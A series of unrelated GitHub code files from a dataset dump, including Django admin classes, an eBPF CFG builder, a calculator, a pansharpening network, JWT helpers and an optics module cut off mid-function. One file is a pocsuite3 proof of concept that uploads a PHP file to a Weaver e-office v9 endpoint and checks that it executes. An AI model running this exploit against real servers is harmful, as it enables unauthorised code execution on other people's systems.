ContactNumber\n\n\n@admin.register(Contact)\nclass ContactAdmin(admin.ModelAdmin):\n\n def get_queryset(self, obj):\n qs = super(ContactAdmin, self).get_queryset(obj)\n return qs.prefetch_related('emails', 'numbers')\n\n def get_emails(self, obj):\n return format_html(\n \"
\".join(\n [\n email.__str__() for email in obj.emails.all()\n ]\n )\n )\n\n def get_numbers(self, obj):\n return format_html(\n \"
\".join(\n [\n number.__str__() for number in obj.numbers.all()\n ]\n )\n )\n\n def address_html(self, obj) -> str:\n return format_html(\n '{}'.format(\n obj.address\n )\n )\n\n address_html.short_description = 'Address'\n get_emails.short_description = 'Emails'\n get_numbers.short_description = 'Contact Nos.'\n\n list_display = (\n 'address_html',\n 'get_emails',\n 'get_numbers',\n 'is_active'\n )\n inlines = (ContactEmailAdmin, ContactNumberAdmin)\n\n\nclass PackageFeatureAdmin(SortableInlineAdminMixin, admin.StackedInline):\n model = PackageFeature\n\n\n@admin.register(Package)\nclass PackageAdmin(SortableAdminMixin, admin.ModelAdmin):\n\n def image_tag(self, obj):\n try:\n return format_html(\n ''.format(\n obj.image.url\n )\n )\n except ValueError:\n return None\n\n image_tag.short_description = 'Package Image'\n\n list_display = (\n 'title',\n 'image_tag',\n 'original_price',\n 'discount_price',\n 'is_published',\n )\n inlines = (PackageFeatureAdmin, )\n\n\n@admin.register(Carousel)\nclass CarouselAdmin(SortableAdminMixin, ModelAdmin):\n\n list_display = (\n '__str__',\n 'is_published'\n )\n\n\n@admin.register(Service)\nclass ServiceAdmin(SortableAdminMixin, ModelAdmin):\n\n def image_tag(self, obj):\n try:\n return format_html(\n ''.format(\n obj.image.url\n )\n )\n except ValueError:\n return None\n\n image_tag.short_description = 'Service Image'\n\n list_display = (\n '__str__',\n 'image_tag',\n 'is_published'\n )\n\n\n@admin.register(Testimonial)\nclass TestimonialAdmin(SortableAdminMixin, ModelAdmin):\n\n def image_tag(self, obj):\n try:\n return format_html(\n ''.format(\n obj.user_profile_pic.url\n )\n )\n except ValueError:\n return None\n\n image_tag.short_description = 'Profile Image'\n\n list_display = (\n 'username',\n 'image_tag',\n 'is_published'\n )\n\n\n@admin.register(Product)\nclass ProductAdmin(SortableAdminMixin, ModelAdmin):\n\n def image_tag(self, obj):\n return format_html(\n ''.format(\n obj.image.url\n )\n )\n\n image_tag.short_description = 'Product Image'\n\n list_display = (\n 'title',\n 'image_tag',\n 'original_price',\n 'discount_price',\n 'is_published',\n )\n\n\n@admin.register(About)\nclass AboutAdmin(ModelAdmin):\n\n list_display = (\n '__str__',\n 'is_active'\n )\n\n\n@admin.register(WebsiteConfig)\nclass WebsiteConfigAdmin(ModelAdmin):\n\n def image_tag(self, obj):\n try:\n return format_html(\n ''.format(\n obj.logo_dark.url\n )\n )\n except ValueError:\n return None\n\n image_tag.short_description = 'Logo (DARK)'\n\n list_display = (\n '__str__',\n 'image_tag',\n 'is_active'\n )\n\n\n@admin.register(Social)\nclass SocialAdmin(ModelAdmin):\n\n list_display_1 = ['__str__']\n list_display_2 = [\n field.name for field in Social._meta.fields if field.name != \"id\"\n ]\n list_display = list_display_1 + list_display_2\n","repo_name":"s-agawane/DIY-business-website","sub_path":"core/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":5142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"19363057685","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Aug 10 16:07:01 2020\n\n@author: joshc\nPurpose of File:\n \n basic_block_CFG_and_phi_function_setup will take in a list of special keyworded instructions,\n break the list into basic blocks, form the proper control flow graph, and create a dictionary\n holding z3 BitVector objects to be referenced in the FOL_from_BPF.py file.\n \n These functions do not actually execute or evaluate the instruction list, they only make\n the information into a form that is usable in the next file (FOL_from_BPF.py)\n \nMain Ideas in this code:\n Instruction_Info object\n Takes an individual instruction from the instruction list, and splits \n it up to allow for future execution based on the specifics in the instruction string\n \n Basic_Block object\n Collects all the Instruction_Info objects in a straightline group of code\n \n Finds out the links between the final instruction in the block, and the next\n instruction, to allow the Basic_Block object to correctly link to the\n next Basic_Block in the CFG\n \nAssumptions about instruction links:\n There are two types of links\n 1) Directly forward (all instructions link to the next one)\n 2) Jump offset to a future instruction (found in the Instruction_Info.offset value)\n\"\"\"\nimport copy\nimport networkx as nx\nfrom z3 import *\n\n# Internal representation for one instance of a register\n # Made a class for this because eventually we may need to make the registers more complex,\n # since all we do now is add ints to ints, but what about pointers?\nclass Register_BitVec:\n def __init__(self, name, reg_bit_size):\n self.name = BitVec(name, reg_bit_size)\n self.reg_name = name \n\n# All the info for parsing a single instruction from a program\nclass Instruction_Info:\n def __init__ (self, instruction, number, reg_bit_size):\n \"\"\"\n Parameters\n ----------\n instruction : TYPE : String\n String literal holding the instruction in specific keyword form\n \n number : TYPE : Int\n Instruction number from program order\n \n reg_bit_size : TYPE : Int\n How big the bitVector objects need to be to model our registers\n\n Returns\n -------\n None.\n \"\"\"\n self.full_instruction = instruction\n self.instruction_number = number\n \n # Breaking a keyword into the parts needed to interpret it\n split_ins = instruction.split(\" \") \n self.keyword = split_ins[0]\n self.bit_size = 64 if \"64\" in self.keyword else 32\n self.input_value, self.target_reg, self.offset = 0,0,0\n if len(split_ins) > 1:\n self.target_reg = int(split_ins[1]) \n self.input_value = get_input_value(split_ins[2])\n if \"J\" in self.keyword:\n try:\n self.offset = int(split_ins[3])\n except Exception:\n pass\n\n # Defining how to treat self.input_value (as a constant, or register location)\n if self.input_value > 2 ** (reg_bit_size - 1) - 1 or \\\n self.input_value < -1 * (2 ** (reg_bit_size - 1)):\n self.input_value_is_const = True\n \n # Poision Pill for input size being too large, forcing unsat\n a = Int('a')\n self.input_value_bitVec_Constant = And(a == 2, a == 1)\n \n else: \n if \"32XC\" in self.keyword:\n self.input_value_is_const = True\n self.input_value_bitVec_Constant = BitVecVal(self.input_value, reg_bit_size)\n elif \"64XC\" in self.keyword or \"XC\" in self.keyword:\n self.input_value_is_const = True \n self.input_value_bitVec_Constant = extend_to_proper_bitvec(self.input_value, reg_bit_size)\n else:\n self.input_value_is_const = False\n self.input_value_bitVec_Constant = False\n \n # Store the name in the instruction, reference the actual bitVec object from an external dictionary\n if \"J\" not in self.keyword or \"EXIT\" not in self.keyword:\n self.target_reg_new_name = f'r{self.target_reg}_{self.instruction_number}'\n else:\n self.target_reg_new_name = \"\"\n\n def __str__(self):\n print(f'Instruction {self.instruction_number}: {self.full_instruction}')\n # print(f'Source: {self.input_value}\\tTarget: {self.target_reg}')\n return \"\" \n \ndef get_input_value(instruction_string):\n input_value = 0\n if \"0x\" in instruction_string:\n temp_value = int(instruction_string, 16)\n mask = 2**31\n if temp_value > mask:\n input_value = -(temp_value & mask) + (temp_value & ~mask)\n else:\n input_value = temp_value\n else:\n input_value = int(instruction_string) \n return input_value \n\n# Extending half sized constant inputs to be register sized (assuming no one tries to use odd sized registers)\ndef extend_to_proper_bitvec(value, reg_size):\n valueBV = BitVecVal(value, reg_size//2)\n if value >= 0:\n return ZeroExt(reg_size//2, valueBV)\n else:\n return SignExt(reg_size//2, valueBV)\n \n# Basic Block holds all Instruction_Info commands for reference in a specific chunk of straightline code\nclass Basic_Block:\n def __init__ (self, num_regs, instruction_chunk, instruction_list, instruction_graph):\n \"\"\"\n Parameters\n ----------\n num_regs : TYPE : Int\n How many registers the program is trying to model\n \n instruction_chunk : TYPE : List of ints\n Which instruction numbers are part of the current basic block\n \n instruction_list : TYPE : List of Instruction_Info objects\n The full instruction list of the program to pull from for the block\n \n instruction_graph : TYPE : nx.DiGraph\n The control flow graph of the individual instructions\n\n Returns\n -------\n None.\n \"\"\"\n self.name = str(instruction_chunk).strip(\"[]\")\n self.num_regs = num_regs\n self.block_instructions = []\n for instruction_number in instruction_chunk:\n self.block_instructions.append(instruction_list[instruction_number])\n \n # Stores the most up to date names of registers from the last block\n # If a phi function is required for a variable in the block, \n # will put r{reg_number}_{block_ID}_phi instead of r{reg_number}_{instruction_number}\n self.register_names_before_block_executes = ['0' for _ in range(self.num_regs)]\n \n # Stores all reg names after execution of the block to pass onto the next block in the CFG\n self.register_names_after_block_executes = ['0' for _ in range(self.num_regs)]\n \n # Optimization for not repeatedly doing sat checks on the whole path formula \n self.in_block_formula = True\n \n # Block edge creation helpers in the CFG representation\n self.initial_instruction = instruction_chunk[0]\n self.final_instruction = instruction_chunk[-1]\n self.input_links = []\n self.output_links = []\n \n # Find all instructions which link to the first instruction in the block from previous instructions/blocks\n for (start_of_edge, end_of_edge) in instruction_graph.in_edges([self.block_instructions[0].instruction_number]):\n self.input_links.append(start_of_edge)\n \n # Find all the instructions that are linked to by the last instruction in this block\n for (start_of_edge, end_of_edge) in instruction_graph.edges([self.block_instructions[-1].instruction_number]):\n self.output_links.append(end_of_edge)\n\n # # **************************************\n # # Phi function stuff\n # # For use in naming any phi function registers\n # self.block_ID = str(instruction_chunk[0])\n # # Identifying what registers need new SSA names in a block\n # self.variables_changed_in_block = set()\n # for instruction in self.block_instructions:\n # if \"jmp\" not in instruction.keyword:\n # self.variables_changed_in_block.add(instruction.target_reg) \n # # Holds the numbers of any registers which would require a phi function at the beginning of the block\n # self.phi_functions = []\n # # Since Phi functions aren't known at block creation time, will be updated \n # # with any names after phi_function_locations has been run on the CFG\n # self.phi_function_named_registers = []\n # # End of phi function stuff\n # # **************************************\n \n def update_start_names(self, block, register_bitVec_dictionary):\n \"\"\"\n Parameters\n ----------\n block : TYPE : Basic_Block object\n Block will be the predecessor node in the control flow path to \n whatever Basic_Block object this function is called on\n \n register_bitVec_dictionary : TYPE : Dictionary (Strings -> Register_BitVec objects)\n The reference dictionary for the actual z3 bitVec variables that will be added to the solver.\n Keys are SSA forms of register names \"r{register_number}_{instruction}\" where instruction \n refers to the specific program instruction where the register was changed to that value\n\n Returns\n -------\n None.\n \"\"\"\n # Getting the most recent values found by the Solver, and putting them into the\n # next block, to allow for smaller FOL sat checks and speed up runtime\n tempz3 = Solver()\n tempz3.add(block.in_block_formula)\n if tempz3.check() == sat:\n for reg_num, reg_name in enumerate(block.register_names_after_block_executes):\n if reg_name != '0':\n reg_name = register_bitVec_dictionary[reg_name].name\n self.in_block_formula = And(self.in_block_formula, reg_name == tempz3.model()[reg_name])\n \n # print(\"Updating Names\")\n self.register_names_before_block_executes = \\\n copy.deepcopy(block.register_names_after_block_executes) \n # print(f'New Starting Names are now: {self.register_names_before_block_executes}')\n\n # # Phi Function Stuff\n # def create_phi_function_register_names(self):\n # for register_number in self.phi_functions:\n # reg_name = f'r{register_number}_Block_{self.block_ID}_phi'\n # self.phi_function_named_registers.append(reg_name) \n # \n # def get_reg_names_for_beginning_of_block(self, block_graph):\n # if self.block_ID == '0':\n # self.register_names_before_block_executes = \\\n # [f'r{i}_start' for i in range(self.num_regs)]\n # else:\n # previous_blocks =[block for block in block_graph.predecessors(self)]\n # self.register_names_before_block_executes = copy.deepcopy(previous_blocks[0].register_names_after_block_executes)\n # \n # # Block needs a phi function definition\n # for reg_number in self.phi_functions:\n # reg_name = [name for name in self.phi_function_named_registers if f'r{reg_number}' in name]\n # self.register_names_before_block_executes[reg_number] = reg_name[0]\n \n def __str__(self):\n print(f'\\nInstructions in Block: {self.name}' + '\\n' + '*'*20)\n for instruction in self.block_instructions:\n print(instruction)\n print(f'Block starts with regs named: {self.register_names_before_block_executes}')\n print(f'Block ends with regs named: {self.register_names_after_block_executes}')\n # print(f'Block Forward Links to Instructions: {self.output_links}')\n # print(f'Block Backward Links to Instructions: {self.input_links}')\n # print(f'Block Makes Changes to the following registers: {self.variables_changed_in_block}')\n # print(f'Block needs a phi function for registers: {self.phi_functions}')\n return \"\"\n \n# Define what instructions can be reached from another instruction\n # This is a precursor function for basic block identification/linking\ndef extract_all_edges_from_instruction_list(instruction_list):\n \"\"\"\n Parameters\n ----------\n instruction_list : TYPE : List of Instruction_Info objects\n Holds all instructions individually, no assumed connections\n\n Returns\n -------\n instruction_graph : TYPE : nx.DiGraph \n Holds the node/edge connections from the instruction_list in a directed graph\n \n Assumptions about instruction links:\n 1) Directly forward (all instructions except exits link to the next one)\n 2) Exit instructions do not make a forward link, but can be an end point for a link\n 3) Jump offset to a future instruction (found in the Instruction_Info.offset value)\n \"\"\"\n instruction_graph = nx.DiGraph()\n for instruction_number, instruction in enumerate(instruction_list):\n if instruction_number == len(instruction_list) - 1:\n break\n if instruction.keyword != \"EXIT\":\n instruction_graph.add_edge(instruction_number, instruction_number+1)\n if instruction.offset != 0:\n instruction_graph.add_edge(instruction_number, instruction_number+instruction.offset+1)\n return instruction_graph\n\n# Identifying Leaders in the linked instructions to form basic blocks\ndef identify_leaders(instruction_list):\n \"\"\"\n Parameters\n ----------\n instruction_list : TYPE : List of Instruction_Info objects\n Holds all instructions individually, no assumed connections\n\n Returns\n -------\n leader_set : TYPE : set of ints\n Has the instruction numbers (not instruction_info objects) which are leaders for basic blocks\n \"\"\"\n leader_set = set() \n for instruction_number, instruction in enumerate(instruction_list):\n # IndexOutOfBound protection, last node can still be found as a possible leader below\n if instruction_number == len(instruction_list) - 1:\n break\n \n # Rule 1 - First Instruction is a leader\n elif instruction_number == 0:\n leader_set.add(instruction_number)\n else:\n if \"J\" in instruction.keyword:\n # Rule 2 - Instruction L is a leader if there is another instruction which jumps to it\n leader_set.add(instruction_number + instruction.offset + 1)\n \n # Rule 3 - Instruction L is a leader if it immediately follows a jump instruction\n leader_set.add(instruction_number + 1)\n return leader_set\n\n# A block consists of a leader, and all instructions until the next leader\ndef identify_the_instructions_in_basic_blocks(instruction_list):\n \"\"\"\n Parameters\n ----------\n instruction_list : TYPE : List of Instruction_Info objects\n Holds all instructions individually, no assumed connections\n\n Returns\n -------\n block_list : TYPE : List of Lists of Ints\n Contains a List holding all instruction numbers (not instruction_info objects)\n partitioned into their basic blocks\n \"\"\"\n leader_list = sorted(list(identify_leaders(instruction_list)))\n block_list = []\n while len(block_list) < len(leader_list):\n index_of_current_leader = len(block_list)\n index_of_next_leader = index_of_current_leader + 1\n \n # Get all the instruction numbers between two subsequent leader instructions\n # Example: If leader_list was [0,3,5] and there were 7 total instructions\n # First basic block would return [0,1,2]\n # Second block would be [3,4]\n # Final Block would be [5,6]\n try:\n basic_block = [i for i in range(leader_list[index_of_current_leader],\n leader_list[index_of_next_leader])]\n except IndexError:\n basic_block = [i for i in range(leader_list[index_of_current_leader],\n len(instruction_list))]\n block_list.append(basic_block)\n \n return block_list\n\n# Finding out how to link Basic_Block objects together\ndef set_edges_between_basic_blocks(block_list):\n \"\"\"\n Parameters\n ----------\n block_list : TYPE : List of Lists of Ints\n Contains a List holding all instruction numbers (not instruction_info objects)\n partitioned into their blocks\n\n Returns\n -------\n block_graph : TYPE : nx.DiGraph\n Holds the node/edge connections in a directed graph created from the block_list,\n where nodes are Basic_Block objects holding all required Instruction_Info objects\n \"\"\"\n block_graph = nx.DiGraph()\n if len(block_list) == 1:\n block_graph.add_node(block_list[0])\n else:\n for starting_block in block_list:\n next_blocks = [block for block in block_list \n if starting_block.final_instruction in block.input_links]\n for next_block in next_blocks:\n if starting_block.block_instructions[-1].keyword != \"EXIT\":\n block_graph.add_edge(starting_block, next_block)\n return block_graph \n\ndef set_up_basic_block_cfg(instruction_list, reg_size, num_regs):\n \"\"\"\n Parameters\n ----------\n instruction_list : TYPE : List of strings\n Holds all instructions individually, no assumed connections, in special keyword forms\n \n reg_size : TYPE : Int\n How big the modeled registers should be\n \n num_regs : TYPE : Int\n How many different registers the program will attempt to model\n\n Returns\n -------\n block_graph : TYPE : nx.DiGraph\n Holds the node/edge connections in a directed graph created from the block_list,\n where nodes are Basic_Block objects holding all required Instruction_Info objects\n \n register_bitVec_dictionary : TYPE : Dictionary (Strings -> Register_BitVec objects)\n The reference dictionary for the actual z3 bitVec variables that will be added to the solver.\n Keys are SSA forms of register names \"r{register_number}_{instruction}\" where instruction \n refers to the specific program instruction where the register was changed to that value\n \n block_list[0] : TYPE : Basic_Block object\n The starting block of the graph, so we don't have to find it again\n \"\"\"\n instruction_list = [Instruction_Info(instruction, number, reg_size) for number, instruction in enumerate(instruction_list)]\n\n # Create all the regular register bitVec instances that might be needed. Does not create phi function registers yet\n register_bitVec_dictionary = {}\n for instruction in instruction_list:\n reg_name = instruction.target_reg_new_name\n register_bitVec_dictionary[reg_name] = Register_BitVec(reg_name, reg_size)\n \n instruction_graph = extract_all_edges_from_instruction_list(instruction_list)\n \n # Actual creation of the basic block CFG\n block_list_chunks = identify_the_instructions_in_basic_blocks(instruction_list)\n block_list = []\n for block_chunk in block_list_chunks: \n block_list.append(Basic_Block(num_regs, block_chunk, instruction_list, instruction_graph))\n block_graph = set_edges_between_basic_blocks(block_list)\n\n # Visualization options for the graphs (both instructions and blocks) \n # nx.draw_planar(instruction_graph, with_labels = True)\n # block_labels = {node:node.name for node in block_graph}\n # nx.draw_planar(block_graph, labels = block_labels, with_labels = True)\n \n return block_graph, register_bitVec_dictionary, block_list[0]\n \n# Identify and place phi function for required register changes\ndef phi_function_locations(block_graph, start_block):\n \"\"\"\n From slide 26 in lecture7.ppt about the Cytron 1991 Efficiently Computing SSA paper\n \n Parameters\n ----------\n block_graph : TYPE : nx.DiGraph\n Holds the node/edge connections from the block_list, where nodes are Basic_Block objects \n holding all required Instruction_Info objects\n\n Returns\n -------\n block_graph : TYPE : nx.DiGraph\n Holds the node/edge connections from the block_list, where nodes are Basic_Block objects\n holding all required Instruction_Info objects. Nodes have been updated with \n Phi functions for specific registers\n \"\"\"\n dom_dict = nx.dominance_frontiers(block_graph, start_block) \n\n for register_number in range(start_block[0].num_regs):\n work_list = set()\n ever_on_work_list = set()\n already_has_phi_func = set()\n \n # Get all nodes which assign a value to our target_reg\n for block in block_graph:\n if register_number in block.variables_changed_in_block:\n work_list.add(block)\n \n ever_on_work_list = work_list\n while len(work_list) != 0:\n check_dom_front_of_block = work_list.pop()\n for dom_front_node in dom_dict[check_dom_front_of_block]:\n \n # Insert at most 1 phi function per node\n if dom_front_node not in already_has_phi_func:\n dom_front_node.phi_functions.append(register_number)\n already_has_phi_func.add(dom_front_node)\n \n # Process each node at most once\n if dom_front_node not in ever_on_work_list:\n work_list.add(dom_front_node)\n ever_on_work_list.add(dom_front_node) \n return block_graph\n\n# Startup function to create the CFG, set up the register bitVecs, and initialize phi functions if needed\ndef basic_block_CFG_and_phi_function_setup(instruction_list, reg_size, num_regs):\n \"\"\"\n Parameters\n ----------\n instruction_list : TYPE :List of strings\n Holds all instructions individually, no assumed connections, in special keyword forms\n \n reg_size : TYPE : Int\n How big the modeled registers should be\n \n num_regs : TYPE : Int\n How many different registers the program will attempt to model\n\n Returns\n -------\n block_graph : TYPE : nx.DiGraph\n Holds the node/edge connections from the block_list, where nodes are Basic_Block objects\n holding all required Instruction_Info objects. Nodes have been updated with \n Phi functions for specific registers, and all registers which will be used in the program\n have been created and assigned to their specific blocks ready to be combined with their\n specific eBPF instructions\n \n register_bitVec_dictionary : TYPE : Dictionary (Strings -> Register_BitVec objects)\n The reference dictionary for the actual z3 bitVec variables that will be added to the solver.\n Keys are SSA forms of register names \"r{register_number}_{instruction}\" where instruction \n refers to the specific program instruction where the register was changed to that value\n \n block_list[0] : TYPE : Basic_Block object\n The starting block of the graph, so we don't have to find it again\n \"\"\" \n block_graph, register_bitVec_dictionary, start_block = set_up_basic_block_cfg(instruction_list, reg_size, num_regs)\n\n # Commented out all of the things I had done involving phi functions\n # Generate the locations of phi functions, name them, and create the register bit vec objects for reference. \n # block_graph = phi_function_locations(block_graph, start_block)\n # for block in block_graph:\n # block.create_phi_function_register_names()\n # block.get_reg_names_for_beginning_of_block(block_graph)\n # for new_phi_reg in block.phi_function_named_registers:\n # register_bitVec_dictionary[new_phi_reg] = Register_BitVec(new_phi_reg, reg_size)\n return block_graph, register_bitVec_dictionary, start_block","repo_name":"JoshCoop1089/eBPF_Verification_Project","sub_path":"Josh Code Tests/Code for Next Meeting/Basic_Block_CFG_Creator.py","file_name":"Basic_Block_CFG_Creator.py","file_ext":"py","file_size_in_byte":24214,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"26256978840","text":"\"\"\"\nIf you have issues about development, please read:\nhttps://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md\nfor more about information, plz visit http://pocsuite.org\n\"\"\"\n\nfrom pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, logger, VUL_TYPE\nfrom pocsuite3.lib.utils import random_str\n\n\nclass DemoPOC(POCBase):\n vulID = '0' # ssvid\n version = '1.0'\n author = ['sn1per']\n vulDate = '2021-11-28'\n createDate = '2021-11-28'\n updateDate = '2021-11-28'\n references = ['']\n name = '泛微e-office v9 任意文件上传'\n appPowerLink = ''\n appName = '泛微-EOffice'\n appVersion = ''\n vulType = \"任意文件上传\"\n desc = '''\n '''\n samples = []\n install_requires = ['']\n\n\n def _verify(self):\n result = {}\n headers={\n \"User-Agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \",\n \"Accept-Encoding\": \"gzip, deflate\",\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\",\n\n }\n url = self.url.rstrip(\n '/') + \"/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId=\"\n\n payload = {'Filedata':('test.php','','image/jpeg')}\n\n resp = requests.post(url, files=payload)\n try:\n if \"logo-eoffice.php\" in resp.text:\n url2 = self.url.rstrip('/')+\"/images/logo/logo-eoffice.php\"\n result['VerifyInfo'] = {}\n result['VerifyInfo']['URL'] = url2\n result['VerifyInfo']['Postdata'] = payload\n return self.parse_output(result)\n if resp.status_code == 200:\n url2 = self.url.rstrip('/')+\"/images/logo/logo-eoffice.php\"\n resp2 = requests.get(url2)\n if \"PHP Version\" in resp2.text:\n result['VerifyInfo'] = {}\n result['VerifyInfo']['URL'] = url2\n result['VerifyInfo']['Postdata'] = payload\n except Exception as ex:\n logger.error(str(ex))\n\n return self.parse_output(result)\n\n def parse_output(self, result):\n output = Output(self)\n if result:\n output.success(result)\n else:\n output.fail('target is not vulnerable')\n return output\n\n _attack = _verify\n\n\nregister_poc(DemoPOC)\n\n","repo_name":"20142995/pocsuite3","sub_path":"poc/e-office_v9_upload.py","file_name":"e-office_v9_upload.py","file_ext":"py","file_size_in_byte":2468,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"72"} +{"seq_id":"31637307196","text":"'''Basic Calulator by Micah Pierre-Louis'''\n\ndef calculator():\n while True: # loop indefinitely until user quits the program\n user_option = str(input('***Basic Calculator***\\n\\nThis calculator performs the four basic arithmetic operations.\\n\\nChoose an operation, or press q to quit: \\n(A)dd\\n(S)ubtract\\n(M)ultiply\\n(D)ivide\\n(Q)uit\\n')) # prompting user to choose an operation\n options = ['a', 's', 'm', 'd', 'q'] # valid options for user to choose from\n \n if user_option.lower() == 'q': # break the loop if user enters 'q'\n break\n \n user_num1 = int(input('Enter the first number:\\t')) # prompting user to enter first number\n user_num2 = int(input('Enter the second number:\\t')) # prompting user to enter second number\n\n if user_option.lower() == 'a': # addition branch\n print(f'{user_num1} + {user_num2} is {user_num1 + user_num2}')\n\n elif user_option.lower() == 's': # subtraction branch\n print(f'{user_num1} - {user_num2} is {user_num1 - user_num2}')\n\n elif user_option.lower() == 'm': # multiplication branch\n print(f'{user_num1} * {user_num2} is {user_num1 * user_num2}')\n\n elif user_option.lower() == 'd': # division branch\n if user_num2 == 0: # the user may not divide by zero \n print('Error: Dividing by Zero')\n else:\n print(f'{user_num1} / {user_num2} is {user_num1 / user_num2:.2f}')\n \n elif user_option not in options: # the user may not input a key other than the ones in the options list\n print('Invalid input, try again.')\n continue # continue the loop \n \ncalculator() # intializes the calculator\n\n","repo_name":"micahpierre/calculator","sub_path":"main-1 (1).py","file_name":"main-1 (1).py","file_ext":"py","file_size_in_byte":1743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"2706314157","text":"import torch\nimport torch.nn as nn\nimport numpy as np\nimport math\nimport torch.nn.init as int\n\nimport torch\nimport torch.nn as nn\nimport math\nfrom UDL.Basis.variance_sacling_initializer import variance_scaling_initializer\nfrom UDL.pansharpening.models import PanSharpeningModel\n\n# -------------Initialization----------------------------------------\n\nclass Repeatblock(nn.Module):\n def __init__(self):\n super(Repeatblock, self).__init__()\n\n channel = 32 # input_channel =\n self.conv2 = nn.Conv2d(in_channels=channel, out_channels=channel, kernel_size=7, stride=1, padding=3,\n bias=True)\n self.relu = nn.ReLU(inplace=True)\n\n def forward(self, x):\n rs = self.relu(self.conv2(x))\n\n return rs\n\nclass DRPNN(nn.Module):\n def __init__(self, spectral_num, criterion, channel=32):\n super(DRPNN, self).__init__()\n\n self.criterion = criterion\n # ConvTranspose2d: output = (input - 1)*stride + outpading - 2*padding + kernelsize\n self.conv1 = nn.Conv2d(in_channels=spectral_num+1, out_channels=channel, kernel_size=7, stride=1, padding=3,\n bias=True)\n\n self.conv2 = nn.Conv2d(in_channels=channel, out_channels=spectral_num+1, kernel_size=7, stride=1, padding=3,\n bias=True)\n self.conv3 = nn.Conv2d(in_channels=spectral_num+1, out_channels=spectral_num, kernel_size=7, stride=1, padding=3,\n bias=True)\n self.relu = nn.ReLU(inplace=True)\n\n self.backbone = nn.Sequential( # method 2: 4 resnet repeated blocks\n Repeatblock(),\n Repeatblock(),\n Repeatblock(),\n Repeatblock(),\n Repeatblock(),\n Repeatblock(),\n Repeatblock(),\n Repeatblock(),\n )\n\n def forward(self, x, y): # x= lms; y = pan\n\n input = torch.cat([x, y], 1) # Bsx9x64x64\n rs = self.relu(self.conv1(input)) # Bsx64x64x64\n\n rs = self.backbone(rs) # backbone! Bsx64x64x64\n\n out_res = self.conv2(rs) # Bsx9x64x64\n output1 = torch.add(input, out_res) # Bsx9x64x64\n output = self.conv3(output1) # Bsx8x64x64\n\n return output\n\n def train_step(self, data, *args, **kwargs):\n log_vars = {}\n gt, lms, ms, pan = data['gt'].cuda(), data['lms'].cuda(), \\\n data['ms'].cuda(), data['pan'].cuda()\n sr = self(lms, pan)\n\n loss = self.criterion(sr, gt, *args, **kwargs)\n\n # return sr, loss\n log_vars.update(loss=loss['loss'])\n return {'loss': loss['loss'], 'log_vars': log_vars}\n\n def val_step(self, data, *args, **kwargs):\n\n gt, lms, ms, pan = data['gt'].cuda(), data['lms'].cuda(), \\\n data['ms'].cuda(), data['pan'].cuda()\n sr = self(lms, pan)\n\n return sr, gt\n\n# ----------------- End-Main-Part ------------------------------------\n\n\n\n\n\nif __name__ == '__main__':\n lms = torch.randn([1, 8, 64, 64])\n pan = torch.randn([1, 8, 64, 64])\n model = DRPNN(8, None)\n x = model(lms, pan)\n print(x.shape)","repo_name":"liangjiandeng/DLPan-Toolbox","sub_path":"01-DL-toolbox(Pytorch)/UDL/pansharpening/models/DRPNN/model_drpnn.py","file_name":"model_drpnn.py","file_ext":"py","file_size_in_byte":3165,"program_lang":"python","lang":"en","doc_type":"code","stars":111,"dataset":"github-code","pt":"72"} +{"seq_id":"23479118241","text":"from datetime import datetime, timedelta\n\nimport jwt\nfrom fastapi import HTTPException\nfrom jwt import PyJWTError\nfrom pydantic import ValidationError\n\nfrom config.config import settings\nfrom src.auth.schemas import TokenPayload\nfrom src.users.models import User\n\n\ndef create_access_token(user: User, not_expire: bool = False):\n if not_expire:\n expire = datetime.utcnow() + timedelta(days=36500)\n else:\n expire = datetime.utcnow() + timedelta(seconds=15)\n\n encoded_jwt = jwt.encode(\n {\"exp\": expire, \"user_id\": str(user.id)},\n settings.SECRET_KEY.get_secret_value(),\n algorithm=settings.JWT_ALGORITHM,\n )\n return encoded_jwt\n\n\ndef get_token_data(token: str) -> TokenPayload:\n try:\n secret_key = settings.SECRET_KEY.get_secret_value()\n payload = jwt.decode(token, secret_key, algorithms=[settings.JWT_ALGORITHM])\n token_data = TokenPayload(**payload)\n except (PyJWTError, ValidationError):\n raise HTTPException(status_code=403, detail=\"Could not validate credentials\")\n return token_data\n","repo_name":"Vlad-Tsaryk/CryptoWallet","sub_path":"src/auth/dependencies.py","file_name":"dependencies.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73863877351","text":"from matplotlib import pyplot as plt\nfrom matplotlib import cm\nfrom mpl_toolkits.axes_grid1.axes_divider import make_axes_locatable\nimport numpy as np\nfrom numpy.lib.npyio import save\n\n\ndef pupil_func(R_p, Theta_p, tau, S0, alpha, phi, beta):\n \"\"\"\n Given the polar coordinates, aberration parameters, \n calculate the exit pupil function.\n\n ----------\n parameters\n\n R_p: radial coordinate\n Theta_p: azimuthal coordinate\n tau: describe the radial transmission decaying of the pupil. \n $T(r) = T_0 \\\\exp\\\\left( -r^2 / tau^2 \\\\right)$\n S0: spherical aberration, $S_0 r^4$\n alpha, phi: astigmatism, \n $\\\\alpha r^2 \\\\cos\\\\left(2\\\\theta - 2\\\\phi\\\\right)$\n beta: defocus, $\\\\beta r^2$\n\n ------\n return\n\n Exit pupil function\n \"\"\"\n U = np.exp(-(R_p / tau)**2) * np.array(R_p <= 1, dtype=float)\n Phase = S0 * (R_p**4) + \\\n alpha * (R_p**2) * np.cos(2*Theta_p - 2*phi) + \\\n beta * (R_p**2)\n return U * np.exp(1j * Phase)\n\n\ndef visualize(tau_fit,\n S0_fit,\n alpha_fit,\n phi_fit,\n beta_fit,\n saveDir=None,\n **kwargs):\n \"\"\"\n Plot the pupil\n \"\"\"\n\n 